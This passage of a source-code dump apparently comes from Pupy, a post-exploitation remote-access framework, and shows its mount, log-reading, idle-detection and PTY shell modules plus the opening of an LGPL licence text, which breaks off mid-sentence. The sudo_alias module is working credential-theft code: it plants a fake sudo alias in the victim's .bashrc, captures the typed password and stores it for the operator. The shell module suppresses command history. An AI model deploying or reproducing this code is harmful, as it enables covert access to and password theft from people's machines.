            k:v for k,v in self.__dict__.items() if not k.startswith('_')
        }
        result.update({'options': self.options})
        return result


def mounts():
    mountinfo = {}
    try:
        with open('/proc/self/mounts', 'r') as mounts:
            for line in mounts:
                info = MountInfo(line)
                if info.fstype not in mountinfo:
                    mountinfo[info.fstype] = [info.as_dict()]
                else:
                    mountinfo[info.fstype].append(info.as_dict())
    except:
        pass

    if not mountinfo:
        try:
            import psutil
            for part in psutil.disk_partitions():
                info = MountInfo('{} {} {} {} 0 0'.format(
                    part.device.replace(' ', r'\040'),
                    part.mountpoint.replace(' ', r'\040'),
                    part.fstype.replace(' ', r'\040'),
                    part.opts.replace(' ', r'\040'),
                ))
                if info.fstype not in mountinfo:
                    mountinfo[info.fstype] = [info.as_dict()]
                else:
                    mountinfo[info.fstype].append(info.as_dict())
        except:
            pass

    return as_unicode_string_deep(mountinfo)


================================================
FILE: pupy/packages/posix/all/ptyshell.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE
# file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = ['acquire', 'release']

import sys
import os
import os.path
import termios
import pty
import fcntl
import subprocess
import select
import array
import pwd
import errno

from io import open

from collections import deque

from pupy.network.lib.pupyrpc import nowait
from pupy.network.lib.convcompat import shlex

from pupy.agent import manager, Task

if sys.version_info.major > 2:
    basestring = str
    long = int

DEFAULT_SHELL = None


def propose_shell():
    PATHS = os.environ.get(
        'PATH',
        '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:'
        '/usr/local/sbin:/system/bin'
    ).split(':')

    SHELLS = ['zsh', 'bash', 'ash', 'sh', 'ksh', 'csh']

    for shell in (os.path.join(p, shell) for shell in SHELLS for p in PATHS):
        yield shell

    if 'SHELL' in os.environ:
        yield os.environ['SHELL']

    if os.path.isfile('/etc/shells'):
        with open('/etc/shells', 'r') as shells:
            for shell in shells:
                shell = shell.strip()
                if not shell.startswith('/'):
                    continue

                yield shell


def find_shell():
    global DEFAULT_SHELL

    if not DEFAULT_SHELL:
        for shell in propose_shell():
            if os.path.isfile(shell) and os.access(shell, os.X_OK):
                DEFAULT_SHELL = shell
                break

    if not DEFAULT_SHELL:
        DEFAULT_SHELL = '/bin/sh'

    return DEFAULT_SHELL


def prepare(suid):
    if suid is not None:
        try:
            if not isinstance(suid, (int, long)):
                userinfo = pwd.getpwnam(suid)
                suid = userinfo.pw_uid
                sgid = userinfo.pw_gid
            else:
                userinfo = pwd.getpwuid(suid)
                sgid = userinfo.pw_gid
        except:
            pass

        try:
            path = os.ttyname(sys.stdin.fileno())
            os.chown(path, suid, sgid)
        except:
            pass

        try:
            os.initgroups(userinfo.pw_name, sgid)
            os.chdir(userinfo.pw_dir)
        except:
            pass

        try:
            if hasattr(os, 'setresuid'):
                os.setresgid(suid, suid, sgid)
                os.setresuid(suid, suid, sgid)
            else:
                euid = os.geteuid()
                if euid != 0:
                    os.seteuid(0)
                    os.setegid(0)

                os.setgid(suid)
                os.setuid(suid)
        except:
            pass

    os.setsid()

    try:
        fcntl.ioctl(sys.stdin, termios.TIOCSCTTY, 0)
    except:
        # No life without control terminal :(
        os._exit(-1)


class PtyShell(Task):
    __slots__ = (
        'prog', 'master', 'real_stdout',
        'argv', 'term', 'suid',
        'read_cb', 'close_cb', '_buffer'
    )

    def __init__(self, manager, argv=None, term=None, suid=None):
        super(PtyShell, self).__init__(manager)

        self.prog = None
        self.master = None
        self.real_stdout = sys.stdout

        self.argv = argv
        self.term = term
        self.suid = suid

        self.read_cb = None
        self.close_cb = None

        self._buffer = deque(maxlen=50)

    def stop(self):
        super(PtyShell, self).stop()
        self.close()

    def close(self):
        if self.prog is not None:
            rc = None

            try:
                rc = self.prog.poll()
            except:
                pass

            if rc is None:
                try:
                    self.prog.terminate()
                except:
                    pass

                try:
                    if self.prog.poll() is None:
                        self.prog.kill()
                except:
                    pass

                try:
                    self.prog.communicate()
                except:
                    pass

        if self.master:
            try:
                self.master.close()
            except:
                pass

            self.master = None

        if self._buffer:
            self._buffer.clear()
            self._buffer = None

        self.read_cb = None
        self.write_cb = None

        self.argv = None
        self.term = None
        self.suid = None

        self.prog = None
        self.master = None
        self.real_stdout = None

    def task(self):
        argv = None

        if not self.argv:
            argv = [find_shell()]

        elif isinstance(self.argv, basestring):
            argv = shlex.split(self.argv)
        else:
            argv = self.argv

        PS1 = '[pupy]> '

        if argv:
            shell = os.path.basename(argv[0])
            if shell == 'bash':
                PS1 = r'[pupy:\W]> '
                argv.insert(1, '--norc')
                argv.insert(1, '--noprofile')
        else:
            argv = ['/bin/sh']

        if self.term is not None:
            os.environ['TERM'] = self.term

        ## Workaround via openpty grantpt behaviour
        euid = os.geteuid()
        uid = os.getuid()

        if euid != uid:
            os.seteuid(uid)

        master, slave = pty.openpty()

        if euid != uid:
            os.seteuid(euid)

        self.master = os.fdopen(master, 'w+b', 0) # open file in an unbuffered mode
        flags = fcntl.fcntl(self.master, fcntl.F_GETFL)
        assert flags >= 0
        flags = fcntl.fcntl(self.master, fcntl.F_SETFL, flags | os.O_NONBLOCK)
        assert flags >= 0

        env = os.environ.copy()
        env.update({
            'PS1': PS1,
            'HISTFILE': '/dev/null',
            'PATH': ':'.join([
                '/bin', '/sbin', '/usr/bin', '/usr/sbin',
                '/usr/local/bin', '/usr/local/sbin'
            ])
        })

        if 'PATH' in os.environ:
            env['PATH'] += ':' + os.environ['PATH']

        suid = self.suid
        if suid is None and euid != uid:
            suid = euid

        if suid is not None:
            try:
                suid = int(suid)
            except:
                pass

            try:
                if type(suid) == int:
                    info = pwd.getpwuid(suid)
                else:
                    info = pwd.getpwnam(suid)

                env['USER'] = info.pw_name
                env['HOME'] = info.pw_dir
                env['LOGNAME'] = info.pw_name
            except:
                pass

        self.prog = subprocess.Popen(
            shell=False,
            args=argv,
            stdin=slave,
            stdout=slave,
            stderr=subprocess.STDOUT,
            preexec_fn=lambda: prepare(suid),
            env=env
        )
        os.close(slave)

        try:
            self._read_loop()

        finally:
            try:
                self.stop()
            except:
                pass

            try:
                if self.close_cb:
                    self.close_cb()
            except:
                pass

    def write(self, data):
        if not self.master:
            return

        try:
            self.master.write(data)
            self.master.flush()

        except:
            self.stop()

    def attach(self, read_cb, close_cb):
        if self.active:
            self.read_cb = nowait(read_cb)
            self.close_cb = nowait(close_cb)

            if self._buffer:
                for item in self._buffer:
                    self.read_cb(item)
        else:
            close_cb()

    def detach(self):
        self.read_cb = None
        self.close_cb = None

    def set_pty_size(self, p1, p2, p3, p4):
        if not self.master:
            return

        buf = array.array('h', [p1, p2, p3, p4])
        try:
            fcntl.ioctl(self.master, termios.TIOCSWINSZ, buf)
        except:
            pass

    def _read_loop(self):
        not_eof = True
        fd = self.master.fileno()

        while not_eof and self.master:
            r, x = None, None

            try:
                r, _, x = select.select([self.master], [], [self.master], None)
            except OSError as e:
                if e.errno in (errno.EAGAIN, errno.EWOULDBLOCK):
                    continue
            except Exception as e:
                break

            if x or r:
                try:
                    data = os.read(fd, 32768)
                except OSError as e:
                    if e.errno in (errno.EAGAIN, errno.EWOULDBLOCK):
                        continue
                except Exception:
                    data = None

                if data:
                    self._buffer.append(data)

                    if self.read_cb:
                        self.read_cb(data)
                else:
                    not_eof = False

            if not_eof:
                not_eof = self.prog.poll() is None
            else:
                break

def acquire(argv=None, term=None, suid=None):
    shell = manager.get(PtyShell)

    new = False
    if not (shell and shell.active):
        shell = manager.create(
            PtyShell,
            argv, term, suid)

        new = True

    return new, shell

def release():
    manager.stop(PtyShell)


================================================
FILE: pupy/packages/posix/all/readlogs.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
__all__ = [
  'get_last_events'
]

import os

from readlogs_generic import GenericLogReader

def get_last_events(count=10, includes=[], excludes=[], eventid=None):
    events = {}
    for d in ['/var/log', '/var/adm']:
        if os.path.isdir(d):
            events.update(
                GenericLogReader(d).get_last_events(count, includes, excludes))

    return events


================================================
FILE: pupy/packages/posix/all/readlogs_generic.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = [
  'GenericLogReader'
]

import datetime
import re
import os
import sys

from io import open

MAX_RECORDS_ITER = 65535

if sys.version_info.major > 2:
    basestring = str


def to_timestamp(d):
    return (d - datetime.datetime.fromtimestamp(0)).total_seconds()


def ytail(f):
    BUFSIZ = 5
    CR = '\n'
    data = ''

    f.seek(0, os.SEEK_END)

    fsize = f.tell()
    block = 0
    exit = False

    while not exit:
        step = (block * BUFSIZ)

        if step >= fsize:
            f.seek(0)
            newdata = f.read(BUFSIZ - (abs(step) - fsize))
            exit = True
        else:
            f.seek(fsize - step)
            newdata = f.read(BUFSIZ)

        block += 1
        data = newdata + data

        if CR in data:
            lines = data.split(CR)
            data, lines = lines[0], lines[1:]
            for line in reversed(lines):
                yield line

    if data:
        yield data

def try_get_mtime(x):
    try:
        return os.stat(x).st_mtime
    except OSError:
        return 0

class GenericLogReader(object):
    parsers = [
        '_debian_log_parser'
    ]

    _debian_generic_parser = re.compile(
        r'^([A-Z][a-z]{2}\s+\d+\s\d\d:\d\d:\d\d)\s(\S+)\s([^:]+):\s+(.*)')

    def __init__(self, logs=u'/var/log', source=None):
        self.files = {}

        for root, _, files in os.walk(logs):
            for logfile in files:
                if source is not None and not logfile.startswith((
                        source, source + '.', source + '-')):
                    continue

                logfile = os.path.join(root, logfile)
                if not os.path.isfile(logfile):
                    continue

                try:
                    parser = self._get_parser(logfile)
                except IOError:
                    continue

                if parser:
                    self.files[logfile] = parser

    def get_last_events(self, count=10, includes=[], excludes=[]):
        includes = [
            re.compile(x, re.IGNORECASE | re.MULTILINE) for x in includes
        ]

        excludes = [
            re.compile(x, re.IGNORECASE | re.MULTILINE) for x in excludes
        ]

        events = {}

        for source in sorted(self.files, key=try_get_mtime, reverse=True):
            parser = self.files[source]

            for item in parser(source):
                category = item.pop('category')
                append = not includes and not excludes
                excluded = False

                if category not in events:
                    events[category] = []

                if len(events[category]) >= count:
                    break

                for value in item.values():
                    if not isinstance(value, basestring):
                        continue

                    for exclude in excludes:
                        if exclude.search(value):
                            append = False
                            excluded = True
                            break

                    if excluded:
                        break

                    for include in includes:
                        if include.search(value):
                            append = True
                            break

                if not includes and not excluded:
                    append = True

                if append:
                    events[category].append(item)

        return events

    def _debian_log_parser(self, logfile, probe=False):

        category = os.path.basename(logfile)

        if '-' in category:
            category = category.split('-')[0]
        elif '.' in category:
            category = category.split('.')[0]

        with open(logfile) as log:
            if probe:
                line = log.readline().strip()
                yield bool(GenericLogReader._debian_generic_parser.match(line))
                return

            mtime = datetime.datetime.fromtimestamp(os.fstat(log.fileno()).st_mtime)
            year = str(mtime.year)

            for idx, line in enumerate(ytail(log)):
                if idx > MAX_RECORDS_ITER:
                    break

                line = line.strip()
                if '\n' in line:
                    # Something went wrong
                    return

                match = GenericLogReader._debian_generic_parser.match(line)
                if not match:
                    continue

                date, hostname, sender, message = match.groups()
                pid = ''
                etype = ''

                date = datetime.datetime.strptime(date+' '+year, '%b %d %H:%M:%S %Y')

                if '[' in sender:
                    pid_start = sender.index('[')
                    pid_data = sender[pid_start+1:-1]
                    sender = sender[:pid_start]
                    try:
                        pid = int(pid_data)
                    except ValueError:
                        etype = pid

                yield {
                    'date': to_timestamp(date),
                    'computer': hostname,
                    'category': category,
                    'msg': message,
                    'user': '',
                    'type': etype,
                    'pid': pid
                }

    def _get_parser(self, logfile):
        for parser in GenericLogReader.parsers:
            parser = getattr(self, parser)
            if next(parser(logfile, probe=True)):
                return parser


================================================
FILE: pupy/packages/posix/all/sudo_alias.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import subprocess
import threading
import tempfile
import getpass
import string
import random
import time
import stat
import sys
import os

from io import open

############## Stat / Stop / Dump functions ##############

def sudo_alias_start():
    if hasattr(sys, 'SUDO_ALIAS_THREAD'):
        return False

    sudo = SudoAlias()
    sudo.start()
    sys.SUDO_ALIAS_THREAD = sudo
    return True

def sudo_alias_dump():
    if hasattr(sys, 'SUDO_ALIAS_THREAD'):
        return sys.SUDO_ALIAS_THREAD.dump()

def sudo_alias_stop():
    if hasattr(sys, 'SUDO_ALIAS_THREAD'):
        sys.SUDO_ALIAS_THREAD.stop()
        del sys.SUDO_ALIAS_THREAD
        return True
    return False

############## Main class ##############

class SudoAlias(threading.Thread):
    def __init__(self, *args, **kwargs):
        threading.Thread.__init__(self, *args, **kwargs)
        self.daemon  = True
        self.stopped = False

        if not hasattr(sys, 'SUDO_ALIAS_BUFFER'):
            sys.SUDO_ALIAS_BUFFER = ''

        home = os.path.expanduser("~")
        # profile file is loaded on Mac os instead of bashrc
        self.system = sys.platform
        if self.system == 'darwin':
            self.bashrc = os.path.join(home, '.profile')
        else:
            self.bashrc = os.path.join(home, '.bashrc')

        # alias path
        random_alias_name       = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(5))
        self.alias_file         = os.path.join(tempfile.gettempdir(), random_alias_name)

        # password stored on a tmp path
        random_password_name    = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(5))
        self.password_file      = os.path.join(tempfile.gettempdir(), random_password_name)

        self.original_bashrc_content = ''

    def stop(self):
        self.stopped = True
        self.clean_files()

    def dump(self):
        res=sys.SUDO_ALIAS_BUFFER
        sys.SUDO_ALIAS_BUFFER = ''
        return res

    def store_sudo_password(self, password):
        sys.SUDO_ALIAS_BUFFER += '{username}/{password}'.format(username=getpass.getuser(), password=password)

    def clean_files(self):
        # remove tmp files
        if os.path.exists(self.password_file):
            os.remove(self.password_file)

        if os.path.exists(self.alias_file):
            os.remove(self.alias_file)

        # restore file
        open(self.bashrc, 'w').write(self.original_bashrc_content)

    def sudo_alias_code(self):
        return '''
#!/bin/bash
username=`whoami`
maxtries=3
cmd=""
if [ $# -gt 0 ]
then
    cmd="$@"
else
    cmd=`$realSudo`
fi
password=""
cpt=0
correct=1
while [ $cpt -ne $maxtries ]
do
    read -s -p "[sudo] password for $username: " password
    sudo -K 2>/dev/null
    output=`echo "$password" | sudo -S $cmd 2>/dev/null`
    if [ $? -ne 0 ]
    then
        echo ""
        echo "Sorry, try again."
        cpt=`expr $cpt + 1`
    else
        echo ""
        echo "$output"
        correct=0
        break
    fi
done
if [ $correct -eq 1 ]
then
    echo "sudo: $cpt incorrect password attempts"
    exit 1
else
    # [OPTIONAL_LINE]
    echo "$password" > [STORE_PASSWORD]
    exit 0
fi
'''

    def run(self):
        if os.path.exists(self.bashrc):
            self.original_bashrc_content = open(self.bashrc).read()

        # TO DO
        # launch pupy as root
        # replace # [OPTIONAL_LINE] by echo "$password" | sudo -S <path_to_pupy_binary>

        # write code to the tmp directory
        code = self.sudo_alias_code().replace('[STORE_PASSWORD]', self.password_file)
        open(self.alias_file, 'w').write(code)

        # change file permission to be executable
        if self.system == 'darwin':
            # os.chmod does not work on mac os
            cmd = 'chmod +x {alias_file}'.format(alias_file=self.alias_file)
            p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            stdout, stderr = p.communicate()
        else:
            st = os.stat(self.alias_file)
            os.chmod(self.alias_file, st.st_mode | stat.S_IEXEC)

        # create alias sudo
        alias = "\nalias sudo='{alias_file}'\n".format(alias_file=self.alias_file)
        open(self.bashrc, 'a+').write(alias)

        # wait to get the password
        password = ''
        while not self.stopped:
            if os.path.exists(self.password_file):
                password = open(self.password_file).read()
                self.store_sudo_password(password)
                self.stopped = True
            time.sleep(5)

        # clean everything
        self.clean_files()


================================================
FILE: pupy/packages/posix/all/uidle.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import ctypes
import os
import time

from display import attach_to_display
from ctypes.util import find_library

import psutil

class XScreenSaverInfo(ctypes.Structure):
    _fields_ = [
        ('window',      ctypes.c_ulong), # screen saver window
        ('state',       ctypes.c_int),   # off,on,disabled
        ('kind',        ctypes.c_int),   # blanked,internal,external
        ('since',       ctypes.c_ulong), # milliseconds
        ('idle',        ctypes.c_ulong), # milliseconds
        ('event_mask',  ctypes.c_ulong)] # events

xlib = None
xss = None
xlibs_available = None

XOpenDisplay = None
XDefaultRootWindow = None
XCloseDisplay = None
XFree = None
XScreenSaverAllocInfo = None
XScreenSaverQueryInfo = None

def load_uidle_libs():
    global xlib, xss
    global XOpenDisplay, XDefaultRootWindow, XCloseDisplay
    global XFree, XScreenSaverAllocInfo, XScreenSaverQueryInfo
    global xlibs_available

    if xlibs_available is not None:
        return

    try:
        xlib = ctypes.cdll.LoadLibrary(find_library('X11'))

        XOpenDisplay = xlib.XOpenDisplay
        XOpenDisplay.argtypes = [ctypes.c_char_p]
        XOpenDisplay.restype = ctypes.c_void_p

        XDefaultRootWindow = xlib.XDefaultRootWindow
        XDefaultRootWindow.argtypes = [ctypes.c_void_p]
        XDefaultRootWindow.restype = ctypes.c_ulong

        XCloseDisplay = xlib.XCloseDisplay
        XCloseDisplay.argtypes = [ctypes.c_void_p]
        XCloseDisplay.restype = ctypes.c_int

        XFree = xlib.XFree
        XFree.argtypes = [ctypes.c_void_p]
        XFree.restype = ctypes.c_int

    except:
        xlib = None

    try:
        xss = ctypes.cdll.LoadLibrary('libXss.so.1')

        XScreenSaverAllocInfo = xss.XScreenSaverAllocInfo
        XScreenSaverAllocInfo.restype = ctypes.POINTER(XScreenSaverInfo)

        XScreenSaverQueryInfo = xss.XScreenSaverQueryInfo
        XScreenSaverQueryInfo.argtypes = [
            ctypes.c_void_p, ctypes.c_int, ctypes.c_void_p
        ]
        XScreenSaverQueryInfo.restype.restype = ctypes.c_int

    except:
        xss = None

    if xlib and xss:
        xlibs_available = True

def get_gui_idle(display=None):
    if not os.environ.get('DISPLAY'):
        if display:
            if not attach_to_display(display):
                return None
        else:
            return None

    load_uidle_libs()

    if xlibs_available is False:
        return None

    display = XOpenDisplay(os.environ.get('DISPLAY'))
    if not display:
        return None

    xssinfo = XScreenSaverAllocInfo()
    if not xssinfo:
        XCloseDisplay(display)
        return None

    idle = None

    status = XScreenSaverQueryInfo(display, XDefaultRootWindow(display), xssinfo)
    if status:
        idle = xssinfo.contents.idle
        XFree(xssinfo)

    XCloseDisplay(display)

    return int(idle / 1000) if idle else None

def get_cli_idle():
    now = time.time()

    idles = []
    for user in psutil.users():
        if not user.terminal:
            continue

        try:
            dev_stat = os.stat('/dev/' + user.terminal)
        except OSError:
            continue

        idles.append(now - dev_stat.st_atime)

    if not idles:
        return None

    idle = min(idles)
    psutil._pmap = {}
    return idle

def get_idle():
    cli_idle = get_cli_idle()

    try:
        gui_idle = get_gui_idle()
    except:
        gui_idle = None

    if gui_idle is None:
        return cli_idle
    elif cli_idle is None:
        return gui_idle
    else:
        return min(cli_idle, gui_idle)


================================================
FILE: pupy/packages/src/VideoCapture/LGPL.txt
================================================
		  GNU LESSER GENERAL PUBLIC LICENSE
		       Version 2.1, February 1999

 Copyright (C) 1991, 1999 Free Software Foundation, Inc.
     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

[This is the first released version of the Lesser GPL.  It also counts
 as the successor of the GNU Library Public License, version 2, hence
 the version number 2.1.]

			    Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
Licenses are intended to guarantee your freedom to share and change
free software--to make sure the software is free for all its users.

  This license, the Lesser General Public License, applies to some
specially designated software packages--typically libraries--of the
Free Software Foundation and other authors who decide to use it.  You
can use it too, but we suggest you first think carefully about whether
this license or the ordinary General Public License is the better
strategy to use in any particular case, based on the explanations below.

  When we speak of free software, we are referring to freedom of use,
not price.  Our General Public Licenses are designed to make sure that
you have the freedom to distribute copies of free software (and charge
for this service if you wish); that you receive source code or can get
it if you want it; that you can change the software and use pieces of
it in new free programs; and that you are informed that you can do
these things.

  To protect your rights, we need to make restrictions that forbid
distributors to deny you these rights or to ask you to surrender these
rights.  These restrictions translate to certain responsibilities for
you if you distribute copies of the library or if you modify it.

  For example, if you distribute copies of the library, whether gratis
or for a fee, you must give the recipients all the rights that we gave
you.  You must make sure that they, too, receive or can get the source
code.  If you link other code with the library, you must provide
complete object files to the recipients, so that they can relink them
with the library after making changes to the library and recompiling
it.  And you must show them these terms so they know their rights.

  We protect your rights with a two-step method: (1) we copyright the
library, and (2) we offer you this license, which gives you legal
permission to copy, distribute and/or modify the library.

  To protect each distributor, we want to make it very clear that
there is no warranty for the free library.  Also, if the library is
modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.

  Finally, software patents pose a constant threat to the existence of
any free program.  We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
restrictive license from a patent holder.  Therefore, we insist that
any patent license obtained for a version of the library must be
consistent with the full freedom of use specified in this license.

  Most GNU software, including some libraries, is covered by the
ordinary GNU General Public License.  This license, the GNU Lesser
General Public License, applies to certain designated libraries, and
is quite different from the ordinary General Public License.  We use
this license for certain libraries in order to permit linking those
libraries into non-free programs.

  When a program is linked with a library, whether statically or using
a shared library, the combination of the two is legally speaking a
combined work, a derivative of the original library.  The ordinary
General Public License therefore permits such linking only if the
entire combination fits its criteria of freedom.  The Lesser General
Public License permits more lax criteria for linking other code with
the library.

  We call this license the "Lesser" General Public License because it
does Less to protect the user's freedom than the ordinary General
Public License.  It also provides other free software developers Less
of an advantage over competing non-free programs.  These disadvantages
are the reason we use the ordinary General Public License for many
libraries.  However, the Lesser license provides advantages in certain
special circumstances.

  For example, on rare occasions, there may be a special need to
encourage the widest possible use of a certain library, so that it becomes
a de-facto standard.  To achieve this, non-free programs must be
allowed to use the library.  A more frequent case is that a free
library does the same job as widely used non-free libraries.  In this
case, there is little to gain by limiting the free library to free
software only, so we use the Lesser General Public License.

  In other cases, permission to use a particular library in non-free
programs enables a greater number of people to use a large body of
free software.  For example, permission to use the GNU C Library in
non-free programs enables many more people to use the whole GNU
operating system, as well as its variant, the GNU/Linux operating
system.

  Although the Lesser General Public License is Less protective of the
users' freedom, it does ensure that the user of a program that is
linked with the Library has the freedom and the wherewithal to run
that program using a modified version of the Library.

  The precise terms and conditions for copying, distribution and
modification follow.  Pay close attention to the difference between a
"work based on the library" and a "work that uses the library".  The
former contains code derived from the library, whereas the latter must
be combined with the library in order to run.

		  GNU LESSER GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License Agreement applies to any software library or other
program which contains a notice placed by the copyright holder or
other authorized party saying it may be distributed under the terms of
this Lesser General Public License (also called "this License").
Each licensee is addressed as "you".

  A "library" means a collection of software functions and/or data
prepared so as to be conveniently linked with application programs
(which use some of those functions and data) to form executables.

  The "Library", below, refers to any such software library or work
which has been distributed under these terms.  A "work based on the
Library" means either the Library or any derivative work under
copyright law: that is to say, a work containing the Library or a
portion of it, either verbatim or with modifications and/or translated
straightforwardly into another language.  (Hereinafter, translation is
included without limitation in the term "modification".)

  "Source code" for a work means the preferred form of the work for
making modifications to it.  For a library, complete source code means
all the source code for all modules it contains, plus any associated
interface definition files, plus the scripts used to control compilation
and installation of the library.

  Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running a program using the Library is not restricted, and output from
such a program is covered only if its contents constitute a work based
on the Library (independent of the use of the Library in a tool for
writing it).  Whether that is true depends on what the Library does
and what the program that uses the Library does.
  
  1. You may copy and distribute verbatim copies of the Library's
complete source code as you receive it, in any medium, provided that
you conspicuously and appropriately publish on each copy an
appropriate copyright notice and disclaimer of warranty; keep intact
all the notices that refer to this License and to the absence of any
warranty; and distribute a copy of this License along with the
Library.

  You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.

  2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) The modified work must itself be a software library.

    b) You must cause the files modified to carry prominent notices
    stating that you changed the files and the date of any change.

    c) You must cause the whole of the work to be licensed at no
    charge to all third parties under the terms of this License.

    d) If a facility in the modified Library refers to a function or a
    table of data to be supplied by an application program that uses
    the facility, other than as an argument passed when the facility
    is invoked, then you must make a good faith effort to ensure that,
    in the event an application does not supply such function or
    table, the facility still operates, and performs whatever part of
    its purpose remains meaningful.

    (For example, a function in a library to compute square roots has
    a purpose that is entirely well-defined independent of the
    application.  Therefore, Subsection 2d requires that any
    application-supplied function or table used by this function must
    be optional: if the application does not supply it, the square
    root function must still compute square roots.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Library,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Library, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote
it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Library.

In addition, mere aggregation of another work not based on the Library
with the Library (or with a work based on the Library) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may opt to apply the terms of the ordinary GNU General Public
License instead of this License to a given copy of the Library.  To do
this, you must alter all the notices that refer to this License, so
that they refer to the ordinary GNU General Public License, version 2,
instead of to this License.  (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.)  Do not make any other change in
these notices.

  Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.

  This option is useful when you wish to copy part of the code of
the Library into a program that is not a library.

  4. You may copy and distribute the Library (or a portion or
derivative of it, under Section 2) in object code or executable form
under the terms of Sections 1 and 2 above provided that you accompany
it with the complete corresponding machine-readable source code, which
must be distributed under the terms of Sections 1 and 2 above on a
medium customarily used for software interchange.

  If distribution of object code is made by offering access to copy
from a designated place, then offering equivalent access to copy the
source code from the same place satisfies the requirement to
distribute the source code, even though third parties are not
compelled to copy the source along with the object code.

  5. A program that contains no derivative of any portion of the
Library, but is designed to work with the Library by being compiled or
linked with it, is called a "work that uses the Library".  Such a
work, in isolation, is not a derivative work of the Library, and
therefore falls outside the scope of this License.

  However, linking a "work that uses the Library" with the Library
creates an executable that is a derivative of the Library (because it
contains portions of the Library), rather than a "work that uses the
library".  The executable is therefore covered by this License.
Section 6 states terms for distribution of such executables.

  When a "work that uses the Library" uses material from a header file
that is part of the Library, the object code for the work may be a
derivative work of the Library even though the source code is not.
Whether this is true is especially significant if the work can be
linked without the Library, or if the work is itself a library.  The
threshold for this to be true is not precisely defined by law.

  If such an object file uses only numerical parameters, data
structure layouts and accessors, and small macros and small inline
functions (ten lines or less in length), then the use of the object
file is unrestricted, regardless of whether it is legally a derivative
work.  (Executables containing this object code plus portions of the
Library will still fall under Section 6.)

  Otherwise, if the work is a derivative of the Library, you may
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.

  6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
under terms of your choice, provided that the terms permit
modification of the work for the customer's own use and reverse
engineering for debugging such modifications.

  You must give prominent notice with each copy of the work that the
Library is used in it and that the Library and its use are covered by
this License.  You must supply a copy of this License.  If the work
during execution displays copyright notices, you must include the
copyright notice for the Library among them, as well as a reference
directing the user to the copy of this License.  Also, you must do one
of these things:

    a) Accompany the work with the complete corresponding
    machine-readable source code for the Library including whatever
    changes were used in the work (which must be distributed under
    Sections 1 and 2 above); and, if the work is an executable linked
    with the Library, with the complete machine-readable "work that
    uses the Library", as object code and/or source code, so that the
    user can modify the Library and then relink to produce a modified
    executable containing the modified Library.  (It is understood
    that the user who changes the contents of definitions files in the
    Library will not necessarily be able to recompile the application
    to use the modified definitions.)

    b) Use a suitable shared library mechanism for linking with the
    Library.  A suitable mechanism is one that (1) uses at run time a
    copy of the library already present on the user's computer system,
    rather than copying library functions into the executable, and (2)
    will operate properly with a modified version of the library, if
    the user installs one, as long as the modified version is
    interface-compatible with the version that the work was made with.

    c) Accompany the work with a written offer, valid for at
    least three years, to give the same user the materials
    specified in Subsection 6a, above, for a charge no more
    than the cost of performing this distribution.

    d) If distribution of the work is made by offering access to copy
    from a designated place, offer equivalent access to copy the above
    specified materials from the same place.

    e) Verify that the user has already received a copy of these
    materials or that you have already sent this user a copy.

  For an executable, the required form of the "work that uses the
Library" must include any data and utility programs needed for
reproducing the executable from it.  However, as a special exception,
the materials to be distributed need not include anything that is
normally distributed (in either source or binary form) with the major
components (compiler, kernel, and so on) of the operating system on
which the executable runs, unless that component itself accompanies
the executable.

  It may happen that this requirement contradicts the license
restrictions of other proprietary libraries that do not normally
accompany the operating system.  Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.

  7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
library, provided that the separate distribution of the work based on
the Library and of the other library facilities is otherwise
permitted, and provided that you do these two things:

    a) Accompany the combined library with a copy of the same work
    based on the Library, uncombined with any other library
    facilities.  This must be distributed under the terms of the
    Sections above.

    b) Give prominent notice with the combined library of the fact
    that part of it is a work based on the Library, and explaining
    where to find the accompanying uncombined form of the same work.

  8. You may not copy, modify, sublicense, link with, or distribute
the Library except as expressly provided under this License.  Any
